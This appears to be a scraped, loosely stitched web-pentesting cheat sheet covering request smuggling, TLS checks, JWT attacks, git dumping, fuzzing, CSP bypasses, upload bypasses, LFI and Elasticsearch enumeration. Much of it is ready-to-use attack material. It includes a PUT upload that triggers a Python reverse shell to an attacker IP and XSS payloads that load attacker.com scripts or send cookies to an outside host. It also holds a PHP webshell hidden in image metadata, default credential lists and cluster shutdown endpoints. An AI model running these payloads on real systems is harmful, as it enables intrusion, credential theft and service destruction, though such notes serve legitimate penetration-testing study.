    HTTP request smuggling is a technique for interfering with the way a web site processes sequences of HTTP requests that are received from one or more users. Request smuggling vulnerabilities are often critical in nature, allowing an attacker to bypass security controls, gain unauthorized access to sensitive data, and directly compromise other application users. Request smuggling attacks involve placing both the Content-Length header and the Transfer-Encoding header into a single HTTP request and manipulating these so that the front-end and back-end servers process the request differently. The exact way in which this is done depends on the behavior of the two servers: Most HTTP request smuggling vulnerabilities arise because the HTTP specification provides two different ways to specify where a request ends: the Content-Length header and the Transfer-Encoding header.

    GitHub

    Tools

    Crawl/Fuzz

    # robots.txt
    curl http://example.com/robots.txt
    # headers
    wget --save-headers http://www.example.com/
        # Strict-Transport-Security (HSTS)
        # X-Frame-Options: SAMEORIGIN
        # X-XSS-Protection: 1; mode=block
        # X-Content-Type-Options: nosniff
    # Cookies
        # Check Secure and HttpOnly flag in session cookie
        # If exists BIG-IP cookie, app behind a load balancer
    # SSL Ciphers
    nmap --script ssl-enum-ciphers -p 443 www.example.com
    # HTTP Methods
    nmap -p 443 --script http-methods www.example.com
    # Cross Domain Policy
    curl http://example.com/crossdomain.xml
        # allow-access-from domain="*"
    
    # Cookies explained
    https://cookiepedia.co.uk/
    # https://github.com/ticarpi/jwt_tool
    # https://github.com/ticarpi/jwt_tool/wiki/Attack-Methodology
    
    # https://github.com/hahwul/jwt-hack
    # https://github.com/mazen160/jwt-pwn
    # https://github.com/mBouamama/MyJWT
    # https://github.com/DontPanicO/jwtXploiter
    
    # Test all common attacks
    python3 jwt_tool.py -t https://url_that_needs_jwt/ -rh "Authorization: Bearer JWT" -M at -cv "Welcome user!"
    
    # Hashcat
    # dictionary attacks 
    hashcat -a 0 -m 16500 jwt.txt passlist.txt
    # rule-based attack  
    hashcat -a 0 -m 16500 jwt.txt passlist.txt -r rules/best64.rule
    # brute-force attack
    hashcat -a 3 -m 16500 jwt.txt ?u?l?l?l?l?l?l?l -i --increment-min=6
    
    
    # Crack
    pip install PyJWT
    # https://github.com/Sjord/jwtcrack
    # https://raw.githubusercontent.com/Sjord/jwtcrack/master/jwt2john.py
    jwt2john.py JWT
    ./john /tmp/token.txt --wordlist=wordlist.txt
    
    # Wordlist generator crack tokens:
    # https://github.com/dariusztytko/token-reverser
    
    # RS256 to HS256
    openssl s_client -connect www.google.com:443 | openssl x509 -pubkey -noout > public.pem
    cat public.pem | xxd -p | tr -d "\\n" > hex.txt
    # Sign JWT with hex.txt 
    
    # Generate JWT from terminal
    pip install pyjwt
    python3 -c 'import jwt;print(jwt.encode({"role": "admin"},"SECRET",algorithm="HS256").decode("UTF-8"))'
    # Check for "SSLv2 supported"
    nmap –p- –sV –sC example.com
    # Check in the lower port
    openssl s_client –tls1 -fallback_scsv -connect example.com:443
    # - Response:
    # tlsv1 alert inappropriate fallback:s3_pkt.c:1262:SSL alert number 86

    CSP

    Quick tricks

    # TLSv1.0 and CBC ciphers
    openssl s_client -[sslv3/tls1] -cipher CBC_CIPHER -connect example.com:443
    openssl s_client -cipher CBC_CIPHER -connect example.com:443
    openssl s_client -cipher 3DES -connect example.com:443
    # Check the "Server Temp Key" response is bigger than 1024 (only in OpenSSL 1.0.2 or better)
    openssl s_client -connect www.example.com:443 -cipher "EDH"
    # If is supported this will return the server certificate information if not, error
    openssl s_client –ssl2 -connect example.com:443
    # If is supported this will return the server certificate information if not, error
    openssl s_client -ssl3 -connect google.com:443
    # Cipher Suites
    nmap --script ssl-enum-ciphers -p 443 example.com
    
    # - Anon cypher (fail)
    openssl s_client -cipher aNULL -connect example.com:443
    
    # - DES Cipher (fail)
    openssl s_client -cipher DES -connect example.com:443
    
    # - 3DES Cipher (fail)
    openssl s_client -cipher 3DES -connect example.com:443
    
    # - Export Cipher (fail)
    openssl s_client -cipher EXPORT -connect example.com:443
    
    # - Low Cipher (fail)
    openssl s_client -cipher LOW -connect example.com:443
    
    # - RC4 Cipher (fail)
    openssl s_client -cipher RC4 -connect example.com:443
    
    # - NULL Cipher (fail)
    openssl s_client -cipher NULL -connect example.com:443
    
    # - Perfect Forward Secrecy Cipher (This should NOT fail):
    openssl s_client -cipher EECDH, EDH NULL -connect example.com:443
    # Check secure renegotiation is not supported
    # If not, send request in the renegotiation
    # Once sent, if it's vulnerable it shouldn't return error
    openssl s_client -connect example.com:443
    HEAD / HTTP/1.0
    R
    # <Enter or Return key>
    # Check for "Compression: NONE"
    openssl s_client -connect example.com:443
    # If the response contains encoded data, host is vulnerable
    openssl s_client -connect example.com:443
    GET / HTTP/1.1
    Host: example.com
    Accept-Encoding: compress, gzip
    # Heartbleed
    nmap -p 443 --script ssl-heartbleed --script-args vulns.showall example.com
    
    # Heartbleed checker oneliner from sites list
    cat list.txt | while read line ; do echo "QUIT" | openssl s_client -connect $line:443 2>&1 | grep 'server extension "heartbeat" (id=15)' || echo $line: safe; done
    nmap -p 443 --script ssl-ccs-injection example.com
    # Choose a protocol and 2 different ciphers, one stronger than other
    # Make 2 request with different cipher order anc check in the response if the cipher is the first of the request in both cases
    nmap -p 443 --script ssl-enum-ciphers example.com
    openssl s_client –tls1_2 –cipher ‘AES128-GCM-SHA256:AES128-SHA’ –connect contextis.co.uk:443
    openssl s_client –tls1_2 –cipher ‘AES128-SHA:AES128-GCM-SHA256’ –connect contextis.co.uk:443
    # Dump GH repo
    # githack
      https://github.com/OwenChia/githack
    # Goop - Another dumper
      https://github.com/deletescape/goop
    # GitDumper 
      https://github.com/internetwache/GitTools
      If we have access to .git folder: 
      ./gitdumper.sh http://example.com/.git/ /home/user/dump/
      ./extractor.sh /home/user/dump/ /home/user/dump_extracted 
    # Extract secrets from the repo
    # https://github.com/zricethezav/gitleaks#
      gitleaks detect /tmp/test -v
    # https://github.com/trufflesecurity/trufflehog
      trufflehog filesystem --directory=/tmp/test  
      
      
      
    # Manual way to extract blob's content:
      git cat-file --batch-check --batch-all-objects | grep blob
      git cat-file -p HASH
    # GitGot 
      https://github.com/BishopFox/GitGot
      ./gitgot.py --gist -q CompanyName./gitgot.py -q '"example.com"'./gitgot.py -q "org:github cats"
    # GitRob https://github.com/michenriksen/gitrob
      gitrob website.com
    # GitHound https://github.com/tillson/git-hound 
      echo "domain.com" | githound --dig --many-results --languages common-languages.txt --threads 100
    # GitGrabber https://github.com/hisxo/gitGraber
    # SSH GIT https://shhgit.darkport.co.uk/
    # GithubSearch
      https://github.com/gwen001/github-search
    # Trufflehog
    trufflehog https://github.com/Plazmaz/leaky-repo
    trufflehog --regex --entropy=False https://github.com/Plazmaz/leaky-repo
    # If you have public .git
    https://github.com/HightechSec/git-scanner
    # GitMiner
    # wordpress configuration files with passwords
      python3 gitminer-v2.0.py -q 'filename:wp-config extension:php FTP\_HOST in:file ' -m wordpress -c pAAAhPOma9jEsXyLWZ-16RTTsGI8wDawbNs4 -o result.txt
    # brasilian government files containing passwords
      python3 gitminer-v2.0.py --query 'extension:php "root" in:file AND "gov.br" in:file' -m senhas -c pAAAhPOma9jEsXyLWZ-16RTTsGI8wDawbNs4
    # shadow files on the etc paste
      python3 gitminer-v2.0.py --query 'filename:shadow path:etc' -m root -c pAAAhPOma9jEsXyLWZ-16RTTsGI8wDawbNs4
    # joomla configuration files with passwords 
      python3 gitminer-v2.0.py --query 'filename:configuration extension:php "public password" in:file' -m joomla -c pAAAhPOma9jEsXyLWZ-16RTTsGI8wDawbNs4
      
    # GitLeaks
    sudo docker pull zricethezav/gitleaks
    sudo docker run --rm --name=gitleaks zricethezav/gitleaks -v -r https://github.com/zricethezav/gitleaks.git
    or (repository in /tmp)
    sudo docker run --rm --name=gitleaks -v /tmp/:/code/ zricethezav/gitleaks -v --repo-path=/code/repository
    
    # GitJacker - for exposed .git paths
    # https://github.com/liamg/gitjacker
    curl -s "https://raw.githubusercontent.com/liamg/gitjacker/master/scripts/install.sh" | bash
    gitjacker url.com
    
    # Then visualize a commit:
    https://github.com/[git account]/[repo name]/commit/[commit ID]
    https://github.com/zricethezav/gitleaks/commit/744ff2f876813fbd34731e6e0d600e1a26e858cf
    
    # Manual local checks inside repository
    git log
    # Checkout repo with .env file
    git checkout f17a07721ab9acec96aef0b1794ee466e516e37a
    ls -la
    cat .env
    
    # Find websites from GitHub
    https://github.com/Orange-Cyberdefense/versionshaker
    # Crawlers
    dirhunt https://url.com/
    hakrawler -domain https://url.com/
    python3 sourcewolf.py -h
    gospider -s "https://example.com/" -o output -c 10 -d 1
    gospider -S sites.txt -o output -c 10 -d 1
    gospider -s "https://example.com/" -o output -c 10 -d 1 --other-source --include-subs
    
    # Fuzzers
    # ffuf
    # Discover content
    ffuf -recursion -mc all -ac -c -e .htm,.shtml,.php,.html,.js,.txt,.zip,.bak,.asp,.aspx,.xml -w six2dez/OneListForAll/onelistforall.txt -u https://url.com/FUZZ
    # Headers discover
    ffuf -mc all -ac -u https://hackxor.net -w six2dez/OneListForAll/onelistforall.txt -c -H "FUZZ: Hellothereheadertesting123 asd"
    # Ffuf - burp
    ffuf -replay-proxy http:127.0.0.1:8080
    # Fuzzing extensions
    # General
    .htm,.shtml,.php,.html,.js,.txt,.zip,.bak,.asp,.aspx,.xml,.inc
    # Backups
    '.bak','.bac','.old','.000','.~','.01','._bak','.001','.inc','.Xxx'
    
    # kr
    # https://github.com/assetnote/kiterunner
    kr brute https://whatever.com/ -w onelistforallmicro.txt -x 100 --fail-status-codes 404
    kr scan https://whatever.com/ -w routes-small.kite -A=apiroutes-210228 -x 100 --ignore-length=34
    
    # chameleon
    # https://github.com/iustin24/chameleon
    ./chameleon -u http://testphp.vulnweb.com -a -A
    
    # Best wordlists for fuzzing:
    # https://github.com/danielmiessler/SecLists/tree/master/Discovery/Web-Content
        - raft-large-directories-lowercase.txt
        - directory-list-2.3-medium.txt
        - RobotsDisallowed/top10000.txt 
    # https://github.com/assetnote/commonspeak2-wordlists/tree/master/wordswithext    - 
    # https://github.com/random-robbie/bruteforce-lists
    # https://github.com/google/fuzzing/tree/master/dictionaries
    # https://github.com/six2dez/OneListForAll
    # AIO: https://github.com/foospidy/payloads
    # Check https://wordlists.assetnote.io/
    
    # Pro tip: set "Host: localhost" as header
        
    # Custom generated dictionary
    gau example.com | unfurl -u paths
    # Get files only
    sed 's#/#\n#g' paths.txt |sort -u
    # Other things
    gau example.com | unfurl -u keys
    gau example.com | head -n 1000 |fff -s 200 -s 404
    
    # Hadrware devices admin panel
    # https://github.com/InfosecMatter/default-http-login-hunter
    default-http-login-hunter.sh https://10.10.0.1:443/
    
    # Dirsearch
    dirsearch -r -f -u https://10.11.1.111 --extensions=htm,html,asp,aspx,txt -w six2dez/OneListForAll/onelistforall.txt --request-by-hostname -t 40
    
    # dirb
    dirb http://10.11.1.111 -r -o dirb-10.11.1.111.txt
    
    # wfuzz
    wfuzz -c -z file,six2dez/OneListForAll/onelistforall.txt --hc 404 http://10.11.1.11/FUZZ
    
    # gobuster
    gobuster dir -u http://10.11.1.111 -w six2dez/OneListForAll/onelistforall.txt -s '200,204,301,302,307,403,500' -e
    
    # Cansina
    # https://github.com/deibit/cansina
    python3 cansina.py -u example.com -p PAYLOAD
    
    # Ger endpoints from JS
    # LinkFinder
    # https://github.com/GerbenJavado/LinkFinder
    python linkfinder.py -i https://example.com -d
    python linkfinder.py -i burpfile -b
    
    # JS enumeration
    # https://github.com/KathanP19/JSFScan.sh
    
    # Tip, if 429 add one of these headers:
    Client-Ip: IP
    X-Client-Ip: IP
    X-Forwarded-For: IP
    X-Forwarded-For: 127.0.0.1
    # CSP Checker
    https://csp-evaluator.withgoogle.com/
    
    # Content-Security-Policy Header
    
    - If upload from web is allowed or <img src="URL">:
    https://medium.com/@shahjerry33/pixel-that-steals-data-im-invisible-3c938d4c3888
    https://iplogger.org/invisible/
    https://iplogger.org/15bZ87
    
    - Content-Security-Policy: script-src https://facebook.com https://google.com 'unsafe-inline' https://*; child-src 'none'; report-uri /Report-parsing-url;
    By observing this policy we can say it's damn vulnerable and will allow inline scripting as well . The reason behind that is the usage of unsafe-inline source as a value of script-src directive.
    working payload : "/><script>alert(1337);</script>
    
    - Content-Security-Policy: script-src https://facebook.com https://google.com 'unsafe-eval' data: http://*; child-src 'none'; report-uri /Report-parsing-url;
    Again this is a misconfigured CSP policy due to usage of unsafe-eval.
    working payload : <script src="data:;base64,YWxlcnQoZG9jdW1lbnQuZG9tYWluKQ=="></script>
    
    - Content-Security-Policy: script-src 'self' https://facebook.com https://google.com https: data *; child-src 'none'; report-uri /Report-parsing-url;
    Again this is a misconfigured CSP policy due to usage of a wildcard in script-src.
    working payloads :"/>'><script src=https://attacker.com/evil.js></script>"/>'><script src=data:text/javascript,alert(1337)></script>
    
    - Content-Security-Policy: script-src 'self' report-uri /Report-parsing-url;
    Misconfigured CSP policy again! we can see object-src and default-src are missing here.
    working payloads :<object data="data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg=="></object>">'><object type="application/x-shockwave-flash" data='https: //ajax.googleapis.com/ajax/libs/yui/2.8.0 r4/build/charts/assets/charts.swf?allowedDomain=\"})))}catch(e) {alert(1337)}//'>
    <param name="AllowScriptAccess" value="always"></object>
    
    - Content-Security-Policy: default-src 'self'; script-src 'self' 'unsafe-eval' ajax.googleapis.com;
    With unsafe-eval policy enabled we can perform a Client-Side Template Injection attack.
    <script src="https://ajax.googleapis.com/ajax/libs/angularjs/1.4.6/angular.js"></script> <div ng-app> {{'a'.constructor.prototype.charAt=[].join;$eval('x=1} } };alert(1)//');}} </div>
    <script src=https://drive.google.com/uc?id=...&export=download></script>
    
    - Content-Security-Policy: default-src 'self'; script-src 'self'  *.googleusercontent.com *.google.com *.yandex.net;
    You can upload the payload to the Yandex.Disk storage, copy the download link and replace the content_type parameter value in the link with application/javascript
    <script src="https://[***].storage.yandex.net/[...]content_type=application/javascript&[***]"></script>
    
    - Content-Security-Policy: default-src 'self'
    If you are not allowed to connect to any external host, you can send data directly in the URL (query string) by redirecting the user to your web server
    window.location='https://deteact.com/'+document.cookie;
    
    - Content-Security-Policy: script-src 'self'; object-src 'none' ; report-uri /Report-parsing-url;
    We  can see object-src is set to none but yes this CSP can be bypassed too  to perform XSS. How ? If the application allows users to upload any type  of file to the host. An attacker can upload any malicious script and  call within any tag.
    working payloads :"/>'><script src="/user_upload/mypic.png.js"></script>
    
    - Content-Security-Policy: script-src 'self' https://www.google.com; object-src 'none' ; report-uri /Report-parsing-url;
    In such scenarios where script-src is set to self and a particular domain which is whitelisted, it can be bypassed using jsonp. jsonp endpoints allow insecure callback methods which allow an attacker to perform xss.
    working payload :"><script src="https://www.google.com/complete/search?client=chrome&q=hello&callback=alert#1"></script>
    
    - Content-Security-Policy: script-src 'self' https://cdnjs.cloudflare.com/; object-src 'none' ; report-uri /Report-parsing-url;
    In  such scenarios where script-src is set to self and a javascript library  domain which is whitelisted. It can be bypassed using any vulnerable  version of javascript file from that library , which allows the attacker  to perform xss.
    working payloads :<script src="https://cdnjs.cloudflare.com/ajax/libs/prototype/1.7.2/prototype.js"></script>
    
    <script src="https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.0.8/angular.js" /></script>
     <div ng-app ng-csp>
      {{ x = $on.curry.call().eval("fetch('http://localhost/index.php').then(d => {})") }}
     </div>"><script src="https://cdnjs.cloudflare.com/angular.min.js"></script> <div ng-app ng-csp>{{$eval.constructor('alert(1)')()}}</div>"><script src="https://cdnjs.cloudflare.com/angularjs/1.1.3/angular.min.js"> </script>
    <div ng-app ng-csp id=p ng-click=$event.view.alert(1337)>
    
    - Content-Security-Policy: script-src 'self' ajax.googleapis.com; object-src 'none' ;report-uri /Report-parsing-url;
    If  the application is using angular JS and scripts are loaded from a  whitelisted domain. It is possible to bypass this CSP policy by calling  callback functions and vulnerable class. For more details visit this  awesome git repo.
    working payloads :ng-app"ng-csp ng-click=$event.view.alert(1337)><script src=//ajax.googleapis.com/ajax/libs/angularjs/1.0.8/angular.js></script>"><script src=//ajax.googleapis.com/ajax/services/feed/find?v=1.0%26callback=alert%26context=1337></script>
    
    - Content-Security-Policy: script-src 'self' accounts.google.com/random/ website.with.redirect.com ; object-src 'none' ; report-uri /Report-parsing-url;
    In  the above scenario, there are two whitelisted domains from where  scripts can be loaded to the webpage. Now if one domain has any open  redirect endpoint CSP can be bypassed easily. The reason behind that is  an attacker can craft a payload using redirect domain targeting to other  whitelisted domains having a jsonp endpoint. And in this scenario XSS  will execute because while redirection browser only validated host, not  the path parameters.
    working payload :">'><script src="https://website.with.redirect.com/redirect?url=https%3A//accounts.google.com/o/oauth2/revoke?callback=alert(1337)"></script>">
    
    - Content-Security-Policy: default-src 'self'; script-src 'self' 'unsafe-inline' www.googletagmanager.com;
    With inline execution enabled we can simply injection our code into the page.
    url.com/asd.php/?a=<script>alert(document.domain)</scrtipt>
    GoogleTagManager
    <script>setTimeout(function(){dataLayer.push({event:'gtm.js'})},1000)</script>
    <script src="//www.googletagmanager.com/gtm.js?id=GTM-*******"></script>
    
    - Content-Security-Policy: default-src 'self' data: *; connect-src 'self'; script-src  'self' ;report-uri /_csp; upgrade-insecure-requests
    This CSP policy can be bypassed using iframes. The condition is that  application should allow iframes from the whitelisted domain. Now using a  special attribute srcdoc of iframe, XSS can be easily achieved.
    working payloads :<iframe srcdoc='<script src="data:text/javascript,alert(document.domain)"></script>'></iframe>* sometimes it can be achieved using defer& async attributes of script within iframe (most of the time in new browser due to SOP it fails but who knows when you are lucky?)<iframe src='data:text/html,<script defer="true" src="data:text/javascript,document.body.innerText=/hello/"></script>'></iframe>
    
    - CSP with policy injection (only Chrome)
    /?search=%3Cscript%3Ealert%281%29%3C%2Fscript%3E&token=;script-src-elem%20%27unsafe-inline%27
    # Web ports for nmap
    80,81,300,443,591,593,832,981,1010,1311,1099,2082,2095,2096,2480,3000,3128,3333,4243,4567,4711,4712,4993,5000,5104,5108,5280,5281,5800,6543,7000,7396,7474,8000,8001,8008,8014,8042,8069,8080,8081,8083,8088,8090,8091,8118,8123,8172,8222,8243,8280,8281,8333,8337,8443,8500,8834,8880,8888,8983,9000,9043,9060,9080,9090,9091,9200,9443,9800,9981,10000,11371,12443,16080,18091,18092,20720,55672
    
    # Technology scanner
    # https://github.com/urbanadventurer/WhatWeb
    whatweb htttps://url.com
    
    # Screenshot web
    # https://github.com/maaaaz/webscreenshot
    # https://github.com/sensepost/gowitness
    # https://github.com/michenriksen/aquatone
    
    # Get error with in input
    %E2%A0%80%0A%E2%A0%80
    
    # Retrieve additional info:
    /favicon.ico/..%2f
    /lol.png%23
    /../../../
    ?debug=1
    /server-status
    /files/..%2f..%2f
    
    # Change default header to accept */*
    Accept: application/json, text/javascript, */*; q=0.01
    
    # Sitemap to wordlist (httpie)
    http https://target.com/sitemap.xml | xmllint --format - | grep -e 'loc' | sed -r 's|</?loc>||g' > wordlist_endpoints.txt
    
    # Bypass Rate Limits:
    # Use different params: 
        sign-up, Sign-up, SignUp
    # Null byte on params:
        %00, %0d%0a, %09, %0C, %20, %0
    
    # Bypass upload restrictions:
    # Change extension: .pHp3 or pHp3.jpg
    # Modify mimetype: Content-type: image/jpeg
    # Bypass getimagesize(): exiftool -Comment='"; system($_GET['cmd']); ?>' file.jpg
    # Add gif header: GIF89a;
    # All at the same time.
    
    # ImageTragic (memory leaks in gif preview)
    # https://github.com/neex/gifoeb
    ./gifoeb gen 512x512 dump.gif
    # Upload dump.gif multiple times, check if preview changes.
    # Check docs for exploiting
    
    # If upload from web is allowed or :
    # https://medium.com/@shahjerry33/pixel-that-steals-data-im-invisible-3c938d4c3888
    # https://iplogger.org/invisible/
    # https://iplogger.org/15bZ87
    
    # Check HTTP options:
    # Check if it is possible to upload
    curl -v -k -X OPTIONS https://10.11.1.111/
    # If put enabled, upload:
    curl -v -X PUT -d '' http://10.11.1.111/test/shell.php
    nmap -p 80 192.168.1.124 --script http-put --script-args http-put.url='/test/rootme.php',http-put.file='/root/php-reverse-shell.php'
    curl -v -X PUT -d '' http://VICTIMIP/test/cmd.php && http://VICTIMIP/test/cmd.php?cmd=python%20-c%20%27import%20socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((%22ATTACKERIP%22,443));os.dup2(s.fileno(),0);%20os.dup2(s.fileno(),1);%20os.dup2(s.fileno(),2);p=subprocess.call([%22/bin/sh%22,%22-i%22]);%27
    curl -i -X PUT -H “Content-Type: text/plain; charset=utf-8” -d “/root/Desktop/meterpreter.php” http://VICTIMIP:8585/uploads/meterpreter.php
    # If PUT is not allowed, try to override:
    X-HTTP-Method-Override: PUT
    X-Method-Override: PUT
    
    # Retrieve endpoints
    # LinkFinder
    # https://github.com/GerbenJavado/LinkFinder
    python linkfinder.py -i https://example.com -d
    python linkfinder.py -i burpfile -b
    
    # Retreive hidden parameters
    # Tools
    # https://github.com/s0md3v/Arjun
    python3 arjun.py -u https://url.com --get 
    python3 arjun.py -u https://url.com --post
    # https://github.com/maK-/parameth
    python parameth.py -u https://example.com/test.php
    # https://github.com/devanshbatham/ParamSpider
    python3 paramspider.py --domain example.com
    # https://github.com/s0md3v/Parth
    python3 parth.py -t example.com
    
    # .DS_Store files?
    # https://github.com/gehaxelt/Python-dsstore
    python main.py samples/.DS_Store.ctf
    
    # Polyglot RCE payload
    1;sleep${IFS}9;#${IFS}’;sleep${IFS}9;#${IFS}”;sleep${IFS}9;#${IFS}
    
    # Nmap web scan
    nmap --script "http-*" example.com -p 443
    
    # SQLi + XSS + SSTI
    '"><svg/onload=prompt(5);>{{7*7}}
    ' ==> for Sql injection 
    "><svg/onload=prompt(5);> ==> for XSS 
    {{7*7}} ==> for SSTI/CSTI
    
    # Try to connect with netcat to port 80
    nc -v host 80
    
    # Understand URL params with unfurl
    https://dfir.blog/unfurl/

    Tools

    Samples

    # https://github.com/defparam/smuggler
    python3 smuggler.py -u <URL>
    # https://github.com/defparam/tiscripts
    
    # https://github.com/anshumanpattnaik/http-request-smuggling/
    python3 smuggle.py -u <URL>
    
    # https://github.com/assetnote/h2csmuggler
    go run ./cmd/h2csmuggler check https://google.com/ http://localhost
    
    
    # HTTP/2
    # https://github.com/BishopFox/h2csmuggler
    # None algorithm
    python3 jwt_tool.py <JWT> -X a
    
    # From RS256 to HS256
    python3 jwt_tool.py <JWT> -S hs256 -k public.pem
    
    # Not checked signature
    python3 jwt_tool.py <JWT> -I -pc name -pv admin
    
    # Crack secret key
    python3 jwt_tool.py <JWT> -C -d secrets.txt 
    
    # Null kid
    python3 jwt_tool.py <JWT> -I -hc kid -hv "../../dev/null" -S hs256 -p ""
    
    # Use source file as kid to verify signature
    python3 jwt_tool.py -I -hc kid -hv "path/of/the/file" -S hs256 -p "Content of the file"
    
    # jku manipulation for open redirect
    python3 jwt_tool.py <JWT> -X s -ju "https://attacker.com/jwttool_custom_jwks.json"
    
    # x5u manipulation for open redirect
    openssl req -newkey rsa:2048 -nodes -keyout private.pem -x509 -days 365 -out attacker.crt -subj "/C=AU/L=Brisbane/O=CompanyName/CN=pentester"
    python3 jwt_tool.py <JWT> -S rs256 -pr private.pem -I -hc x5u -hv "https://attacker.com/custom_x5u.json"
    admin:admin
    author:author
    anonymous:anonymous
    replication-receiver:replication-receiver
    [email protected]:jdoe
    [email protected]:aparker
    grios:password
    vgnadmin:vgnadmin
    [email protected]:password
    [email protected]:password
    [email protected]:password
    [email protected]:password)
    https://medium.com/@iSecMax/two-factor-authentication-security-testing-and-possible-bypasses-f65650412b35
    https://blog.cobalt.io/bypassing-the-protections-mfa-bypass-techniques-for-the-win-8ef6215de6ab
    https://research.nccgroup.com/2021/06/10/testing-two-factor-authentication/

    ELK

    Elasticsearch

    Enum

    With creds

    Internal config files

    Kibana

    Basic

    Logstash

    Basic

    Attacking .NET Web ServicesSecurifera

    LFI/RFI

    Tools

    How to

    SSTI

    Email attacks

    GitHub - EdOverflow/can-i-take-over-xyz: "Can I take over XYZ?" — a list of services and how to claim (sub)domains with dangling DNS records.GitHub
    - The Content-Length header is straightforward: it specifies the length of the message body in bytes. For example:
    
        POST /search HTTP/1.1
        Host: normal-website.com
        Content-Type: application/x-www-form-urlencoded
        Content-Length: 11
    
        q=smuggling
    
    - The Transfer-Encoding header can be used to specify that the message body uses chunked encoding. This means that the message body contains one or more chunks of data. Each chunk consists of the chunk size in bytes (expressed in hexadecimal), followed by a newline, followed by the chunk contents. The message is terminated with a chunk of size zero. For example:
    
        POST /search HTTP/1.1
        Host: normal-website.com
        Content-Type: application/x-www-form-urlencoded
        Transfer-Encoding: chunked
    
        b
        q=smuggling
        0
    
    
    
    • CL.TE: the front-end server uses the Content-Length header and the back-end server uses the Transfer-Encoding header.
       ◇ Find - time delay:
        POST / HTTP/1.1
        Host: vulnerable-website.com
        Transfer-Encoding: chunked
        Content-Length: 4
    
        1
        A
        X
    • TE.CL: the front-end server uses the Transfer-Encoding header and the back-end server uses the Content-Length header.
       ◇ Find time delay:
        POST / HTTP/1.1
        Host: vulnerable-website.com
        Transfer-Encoding: chunked
        Content-Length: 6
    
        0
    
        X
    • TE.TE: the front-end and back-end servers both support the Transfer-Encoding header, but one of the servers can be induced not to process it by obfuscating the header in some way.
    
    - CL.TE
        Using Burp Repeater, issue the following request twice:
        POST / HTTP/1.1
        Host: your-lab-id.web-security-academy.net
        Connection: keep-alive
        Content-Type: application/x-www-form-urlencoded
        Content-Length: 6
        Transfer-Encoding: chunked
    
        0
    
        G
        The second response should say: Unrecognized method GPOST.
    
     - TE.CL
        In Burp Suite, go to the Repeater menu and ensure that the "Update Content-Length" option is unchecked.
        Using Burp Repeater, issue the following request twice:
        POST / HTTP/1.1
        Host: your-lab-id.web-security-academy.net
        Content-Type: application/x-www-form-urlencoded
        Content-length: 4
        Transfer-Encoding: chunked
    
        5c
        GPOST / HTTP/1.1
        Content-Type: application/x-www-form-urlencoded
        Content-Length: 15
    
        x=1
        0
    
     - TE.TE: obfuscating TE Header
         In Burp Suite, go to the Repeater menu and ensure that the "Update Content-Length" option is unchecked.
        Using Burp Repeater, issue the following request twice:
        POST / HTTP/1.1
        Host: your-lab-id.web-security-academy.net
        Content-Type: application/x-www-form-urlencoded
        Content-length: 4
        Transfer-Encoding: chunked
        Transfer-encoding: cow
    
        5c
        GPOST / HTTP/1.1
        Content-Type: application/x-www-form-urlencoded
        Content-Length: 15
    
        x=1
        0
    # SQLi
    python3 jwt_tool.py <JWT> -I -pc name -pv "imparable' ORDER BY 1--" -S hs256 -k public.pem
    
    # Manipulate other values to change expiration time or userID for example
    https://aemsite/bin/querybuilder.json/a.css
    https://aemsite/bin/querybuilder.json/a.html
    https://aemsite/bin/querybuilder.json/a.ico
    https://aemsite/bin/querybuilder.json/a.png
    https://aemsite/bin/querybuilder.json;%0aa.css
    https://aemsite/bin/querybuilder.json/a.1.json
    https://aemsite///bin///querybuilder.json
    https://aemsite///etc.json
    
    #Depending on the version and configuration of the affected AEM installation, the above vulnerability could expose the Publish tier to a number of vulnerabilities, including:
    # Provides a proxy which is able to be used to perform arbitrary server-side requests.
    /libs/opensocial/proxy
    # Exposes a reflected Cross-Site Scripting (XSS) vulnerability in older versions of AEM 5.X.
    /etc/mobile/useragent-test.html
    # Exposes an unauthenticated, browsable view of all content in the repository which may lead to information disclosure.
    /etc/reports/diskusage.html
    # Check status:
    curl -X GET "ELASTICSEARCH-SERVER:9200/"
    
    # Check Auth enabled:
    curl -X GET "ELASTICSEARCH-SERVER:9200/_xpack/security/user"
    
    # Users:
    elastic:changeme
    kibana_system
    logstash_system
    beats_system
    apm_system
    remote_monitoring_user
    
    # Other endpoints
    /_cluster/health
    /_cat/indices
    /_cat/health
    
    # Interesting endpoints (BE CAREFUL)
    /_shutdown
    /_cluster/nodes/_master/_shutdown
    /_cluster/nodes/_shutdown
    /_cluster/nodes/_all/_shutdown
    https://www.localroot.net/www.localroot.net

    Look requests with filename like include=main.inc template=/en/sidebar file=foo/file1.txt

  • Modify and test: file=foo/bar/../file1.txt

    1. If the response is the same could be vulnerable

    2. If not there is some kind of block or sanitizer

  • Try to access world-readable files like /etc/passwd /win.ini

  • LFI

    RFI

    # https://github.com/kurobeats/fimap
    fimap -u "http://10.11.1.111/example.php?test="
    # https://github.com/P0cL4bs/Kadimus
    ./kadimus -u localhost/?pg=contact -A my_user_agent
    # https://github.com/wireghoul/dotdotpwn
    dotdotpwn.pl -m http -h 10.11.1.111 -M GET -o unix
    # Apache specific: https://github.com/imhunterand/ApachSAL

    (Email) Header Injection

    "%0d%0aContent-Length:%200%0d%0a%0d%0a"@example.com

    "[email protected]>\r\nRCPT TO:<victim+"@test.com

    Wildcard abuse

    %@example.com

    Attack

    Payload

    XSS

    test+(alert(0))@example.com

    test@example(alert(0)).com

    "alert(0)"@example.com

    <script src=//xsshere?”@email.com

    Template injection

    "<%= 7 * 7 %>"@example.com

    test+(${{7*7}})@example.com

    SQLi

    "' OR 1=1 -- '"@example.com

    "mail'); SELECT version();--"@example.com

    a'-IF(LENGTH(database())=9,SLEEP(7),0)or'1'='1\"@a.com

    SSRF

    [email protected]

    john.doe@[127.0.0.1]

    Parameter Pollution

    victim&[email protected]

    # Using the API key:
    curl -H "Authorization: ApiKey <API-KEY>" ELASTICSEARCH-SERVER:9200/
    
    # Get more information about the rights of an user:
    curl -X GET "ELASTICSEARCH-SERVER:9200/_security/user/<USERNAME>"
    
    # List all users on the system:
    curl -X GET "ELASTICSEARCH-SERVER:9200/_security/user"
    
    # List all roles on the system:
    curl -X GET "ELASTICSEARCH-SERVER:9200/_security/role
    Elasticsearch configuration: /etc/elasticsearch/elasticsearch.yml
    Kibana configuration: /etc/kibana/kibana.yml
    Logstash configuration: /etc/logstash/logstash.yml
    Filebeat configuration: /etc/filebeat/filebeat.yml
    Users file: /etc/elasticsearch/users_roles
    # Port: 5601
    # Config file && users: /etc/kibana/kibana.yml
